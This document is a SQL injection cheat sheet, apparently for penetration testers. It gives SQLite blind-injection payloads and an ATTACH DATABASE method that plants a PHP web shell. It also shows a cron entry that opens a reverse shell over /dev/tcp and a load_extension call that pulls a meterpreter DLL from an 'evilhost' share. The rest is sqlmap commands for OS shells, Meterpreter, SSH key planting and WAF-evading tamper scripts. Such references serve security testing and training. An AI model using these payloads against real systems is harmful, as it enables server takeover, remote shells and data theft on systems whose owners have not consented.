SQL Injection

| Function | Example | | ----------- | ---------------------------------------- | | `SUBSTRING` | `SUBSTRING('foobar', <START>, <LENGTH>)` | | `SUBSTR` | `SUBSTR('foobar', <START>, <LENGTH>)` |

AND CASE WHEN [BOOLEAN_QUERY] THEN 1 ELSE load_extension(1) END

AND [RANDNUM]=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB([SLEEPTIME]00000000/2))))
AND 1337=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB(1000000000/2))))

This snippet shows how an attacker could abuse SQLite's `ATTACH DATABASE` feature to plant a web-shell on a server:

ATTACH DATABASE '/var/www/shell.php' AS shell;
CREATE TABLE shell.pwn (dataz text);
INSERT INTO shell.pwn (dataz) VALUES ('<?php system($_GET["cmd"]); ?>');--

First, it tells SQLite to "treat" a PHP file as a writable SQLite database. Then it creates a table inside that file (which is actually the future web-shell). Finally it writes malicious PHP code into the file. **Note:** Using `ATTACH DATABASE` to create a file comes with a drawback: SQLite will prepend its magic header bytes (`5351 4c69 7465 2066 6f72 6d61 7420 3300`, i.e., *"SQLite format 3"*). These bytes will corrupt most server-side scripts, but PHP is unusually tolerant: as long as a `<?php` tag appears anywhere in the file, the interpreter ignores any preceding garbage and executes the embedded code.

file shell.php  
shell.php: SQLite 3.x database, last written using SQLite version 3051000, file counter 2, database pages 2, cookie 0x1, schema 4, UTF-8, version-valid-for 2

If uploading a PHP web shell isn’t possible but the service runs with root privileges, an attacker can use the same technique to create a cron job that triggers a reverse shell:

ATTACH DATABASE '/etc/cron.d/pwn.task' AS cron;
CREATE TABLE cron.tab (dataz text);
INSERT INTO cron.tab (dataz) VALUES (char(10) || '* * * * * root bash -i >& /dev/tcp/127.0.0.1/4242 0>&1' || char(10));--

This writes a new cron entry that runs every minute and connects back to the attacker.

:warning: SQLite's ability to load external shared libraries (extensions) is disabled by default in most environments. When enabled, SQLite can load a compiled module using the `load_extension()` SQL function:

SELECT load_extension('\\evilhost\evilshare\meterpreter.dll','DllMain');--

In the sqlite3 command-line shell you can display runtime configuration with:

sqlite> .dbconfig
    load_extension on

If you see `load_extension on` (or off), that indicates whether the shell's runtime currently permits loading shared-library extensions. A SQLite extension is simply a native shared library,typically a `.so` file on Linux or a `.dll` file on Windows, that exposes a special initialization function. When the extension is loaded, SQLite calls this function to register any new SQL functions, virtual tables, or other features provided by the module. To compile a loadable extension on Linux, you can use:

gcc -g -fPIC -shared demo.c -o demo.so

SQLite does not support file I/O operations by default.

SELECT writefile('/path/to/file', column_name) FROM table_name

> SQLmap is a powerful tool that automates the detection and exploitation of SQL injection vulnerabilities, saving time and effort compared to manual testing. It supports a wide range of databases and injection techniques, making it versatile and effective in various scenarios. > Additionally, SQLmap can retrieve data, manipulate databases, and even execute commands, providing a robust set of features for penetration testers and security analysts. > Reinventing the wheel isn't ideal because SQLmap has been rigorously developed, tested, and improved by experts. Using a reliable, community-supported tool means you benefit from established best practices and avoid the high risk of missing vulnerabilities or introducing errors in custom code. > However you should always know how SQLmap is working, and be able to replicate it manually if necessary.

sqlmap --url="<url>" -p username --user-agent=SQLMAP --random-agent --threads=10 --risk=3 --level=5 --eta --dbms=MySQL --os=Linux --banner --is-dba --users --passwords --current-user --dbs

A request file in SQLmap is a saved HTTP request that SQLmap reads and uses to perform SQL injection testing. This file allows you to provide a complete and custom HTTP request, which SQLmap can use to target more complex applications.

sqlmap -r request.txt

A custom injection point in SQLmap allows you to specify exactly where and how SQLmap should attempt to inject payloads into a request. This is useful when dealing with more complex or non-standard injection scenarios that SQLmap may not detect automatically. By defining a custom injection point with the wildcard character '`*`' , you have finer control over the testing process, ensuring SQLmap targets specific parts of the request you suspect to be vulnerable.

sqlmap -u "http://example.com" --data "username=admin&password=pass"  --headers="x-forwarded-for:127.0.0.1*"

A second-order SQL injection occurs when malicious SQL code injected into an application is not executed immediately but is instead stored in the database and later used in another SQL query.

sqlmap -r /tmp/r.txt --dbms MySQL --second-order "http://targetapp/wishlist" -v 3
sqlmap -r 1.txt -dbms MySQL -second-order "http://<IP/domain>/joomla/administrator/index.php" -D "joomla" -dbs

* SQL Shell: ```ps1 sqlmap -u "http://example.com/?id=1" -p id --sql-shell ``` * OS Shell: ```ps1 sqlmap -u "http://example.com/?id=1" -p id --os-shell ``` * Meterpreter: ```ps1 sqlmap -u "http://example.com/?id=1" -p id --os-pwn ``` * SSH Shell: ```ps1 sqlmap -u "http://example.com/?id=1" -p id --file-write=/root/.ssh/id_rsa.pub --file-destination=/home/user/.ssh/ ```

This method is not advisable for penetration testing; it should only be used in controlled environments or challenges. It will crawl the entire website and automatically submit forms, which may lead to unintended requests being sent to sensitive features like "delete" or "destroy" endpoints.

sqlmap -u "http://example.com/" --crawl=1 --random-agent --batch --forms --threads=5 --level=5 --risk=3

* `--batch` = Non interactive mode, usually Sqlmap will ask you questions, this accepts the default answers * `--crawl` = How deep you want to crawl a site * `--forms` = Parse and test forms

To run SQLmap with a proxy, you can use the `--proxy` option followed by the proxy URL. SQLmap supports various types of proxies such as HTTP, HTTPS, SOCKS4, and SOCKS5.

sqlmap -u "http://www.target.com" --proxy="http://127.0.0.1:8080"
sqlmap -u "http://www.target.com/page.php?id=1" --proxy="http://127.0.0.1:8080" --proxy-cred="user:pass"

* HTTP Proxy: ```ps1 --proxy="http://[username]:[password]@[proxy_ip]:[proxy_port]" --proxy="http://user:pass@127.0.0.1:8080" ``` * SOCKS Proxy: ```ps1 --proxy="socks4://[username]:[password]@[proxy_ip]:[proxy_port]" --proxy="socks4://user:pass@127.0.0.1:1080" ``` * SOCKS5 Proxy: ```ps1 --proxy="socks5://[username]:[password]@[proxy_ip]:[proxy_port]" --proxy="socks5://user:pass@127.0.0.1:1080" ```

In SQLmap, tampering can help you adjust the injection in specific ways required to bypass web application firewalls (WAFs) or custom sanitization mechanisms. SQLmap provides various options and techniques to tamper with the payloads being used for SQL injection.

The `--suffix` and `--prefix` options allow you to specify additional strings that should be appended or prepended to the payloads generated by SQLMap. These options can be useful when the target application requires specific formatting or when you need to bypass certain filters or protections.

sqlmap -u "http://example.com/?id=1"  -p id --suffix="-- "

* `--suffix=SUFFIX`: The `--suffix` option appends a specified string to the end of each payload generated by SQLMap. * `--prefix=PREFIX`: The `--prefix` option prepends a specified string to the beginning of each payload generated by SQLMap.

A tamper script is a script that modifies the SQL injection payloads to evade detection by WAFs or other security mechanisms. SQLmap comes with a variety of pre-built tamper scripts that can be used to automatically adjust payloads

sqlmap -u "http://targetwebsite.com/vulnerablepage.php?id=1" --tamper=<tamper-script-name>

Below is a table highlighting some of the most commonly used tamper scripts: | Tamper | Description | | ---------------------------- | -------------------------------------------------------------------------------------------------------------------------------------------------- | | 0x2char.py | Replaces each (MySQL) 0xHEX encoded string with equivalent CONCAT(CHAR(),…) counterpart | | apostrophemask.py | Replaces apostrophe character with its UTF-8 full width counterpart | | apostrophenullencode.py | Replaces apostrophe character with its illegal double unicode counterpart | | appendnullbyte.py | Appends encoded NULL byte character at the end of payload | | base64encode.py | Base64 all characters in a given payload | | between.py | Replaces greater than operator ('>') with 'NOT BETWEEN 0 AND #' | | bluecoat.py | Replaces space character after SQL statement with a valid random blank character.Afterwards replace character = with LIKE operator | | chardoubleencode.py | Double url-encodes all characters in a given payload (not processing already encoded) | | charencode.py | URL-encodes all characters in a given payload (not processing already encoded) (e.g. SELECT -> %53%45%4C%45%43%54) | | charunicodeencode.py | Unicode-URL-encodes all characters in a given payload (not processing already encoded) (e.g. SELECT -> %u0053%u0045%u004C%u0045%u0043%u0054) | | charunicodeescape.py | Unicode-escapes non-encoded characters in a given payload (not processing already encoded) (e.g. SELECT -> \u0053\u0045\u004C\u0045\u0043\u0054) | | commalesslimit.py | Replaces instances like 'LIMIT M, N' with 'LIMIT N OFFSET M' | | commalessmid.py | Replaces instances like 'MID(A, B, C)' with 'MID(A FROM B FOR C)' | | commentbeforeparentheses.py | Prepends (inline) comment before parentheses (e.g. ( -> /**/() | | concat2concatws.py | Replaces instances like 'CONCAT(A, B)' with 'CONCAT_WS(MID(CHAR(0), 0, 0), A, B)' | | charencode.py | Url-encodes all characters in a given payload (not processing already encoded) | | charunicodeencode.py | Unicode-url-encodes non-encoded characters in a given payload (not processing already encoded) | | equaltolike.py | Replaces all occurrences of operator equal ('=') with operator 'LIKE' | | escapequotes.py | Slash escape quotes (' and ") | | greatest.py | Replaces greater than operator ('>') with 'GREATEST' counterpart | | halfversionedmorekeywords.py | Adds versioned MySQL comment before each keyword | | htmlencode.py | HTML encode (using code points) all non-alphanumeric characters (e.g. ' -> &#39;) | | ifnull2casewhenisnull.py | Replaces instances like 'IFNULL(A, B)' with 'CASE WHEN ISNULL(A) THEN (B) ELSE (A) END' counterpart | | ifnull2ifisnull.py | Replaces instances like 'IFNULL(A, B)' with 'IF(ISNULL(A), B, A)' | | informationschemacomment.py | Add an inline comment (/**/) to the end of all occurrences of (MySQL) "information_schema" identifier | | least.py | Replaces greater than operator ('>') with 'LEAST' counterpart | | lowercase.py | Replaces each keyword character with lower case value (e.g. SELECT -> select) | | modsecurityversioned.py | Embraces complete query with versioned comment | | modsecurityzeroversioned.py | Embraces complete query with zero-versioned comment | | multiplespaces.py | Adds multiple spaces around SQL keywords | | nonrecursivereplacement.py | Replaces predefined SQL keywords with representations suitable for replacement (e.g. .replace("SELECT", "")) filters | | overlongutf8.py | Converts all characters in a given payload (not processing already encoded) | | overlongutf8more.py | Converts all characters in a given payload to overlong UTF8 (not processing already encoded) (e.g. SELECT -> %C1%93%C1%85%C1%8C%C1%85%C1%83%C1%94) | | percentage.py | Adds a percentage sign ('%') infront of each character | | plus2concat.py | Replaces plus operator ('+') with (MsSQL) function CONCAT() counterpart | | plus2fnconcat.py | Replaces plus operator ('+') with (MsSQL) ODBC function {fn CONCAT()} counterpart | | randomcase.py | Replaces each keyword character with random case value | | randomcomments.py | Add random comments to SQL keywords | | securesphere.py | Appends special crafted string | | sp_password.py | Appends 'sp_password' to the end of the payload for automatic obfuscation from DBMS logs | | space2comment.py | Replaces space character (' ') with comments | | space2dash.py | Replaces space character (' ') with a dash comment ('--') follo

When creating a custom tamper script, there are a few things to keep in mind. The script architecture contains these mandatory variables and functions: * `__priority__`: Defines the order in which tamper scripts are applied. This sets how early or late SQLmap should apply your tamper script in the tamper pipeline. Normal priority is 0 and the highest is 100. * `dependencies()`: This function gets called before the tamper script is used. * `tamper(payload)`: The main function that modifies the payload. The following code is an example of a tamper script that replace instances like '`LIMIT M, N`' with '`LIMIT N OFFSET M`' counterpart:

import os
import re

from lib.core.common import singleTimeWarnMessage
from lib.core.enums import DBMS
from lib.core.enums import PRIORITY

__priority__ = PRIORITY.HIGH

def dependencies():
    singleTimeWarnMessage("tamper script '%s' is only meant to be run against %s" % (os.path.basename(__file__).split(".")[0], DBMS.MYSQL))

def tamper(payload, **kwargs):
    retVal = payload

    match = re.search(r"(?i)LIMIT\s*(\d+),\s*(\d+)", payload or "")
    if match:
        retVal = retVal.replace(match.group(0), "LIMIT %s OFFSET %s" % (match.group(2), match.group(1)))

    return retVal

* Save it as something like: `mytamper.py` * Place it inside SQLmap's `tamper/` directory, typically: ```ps1 /usr/share/sqlmap/tamper/ ``` * Use it with SQLmap ```ps1 sqlmap -u "http://target.com/vuln.php?id=1" --tamper=mytamper ```

The `--sql-query` option in SQLmap is used to manually run your own SQL query on a vulnerable database after SQLmap has confirmed the injection and gathered necessary access.

sqlmap -u "http://example.com/vulnerable.php?id=1" --sql-query="SELECT version()"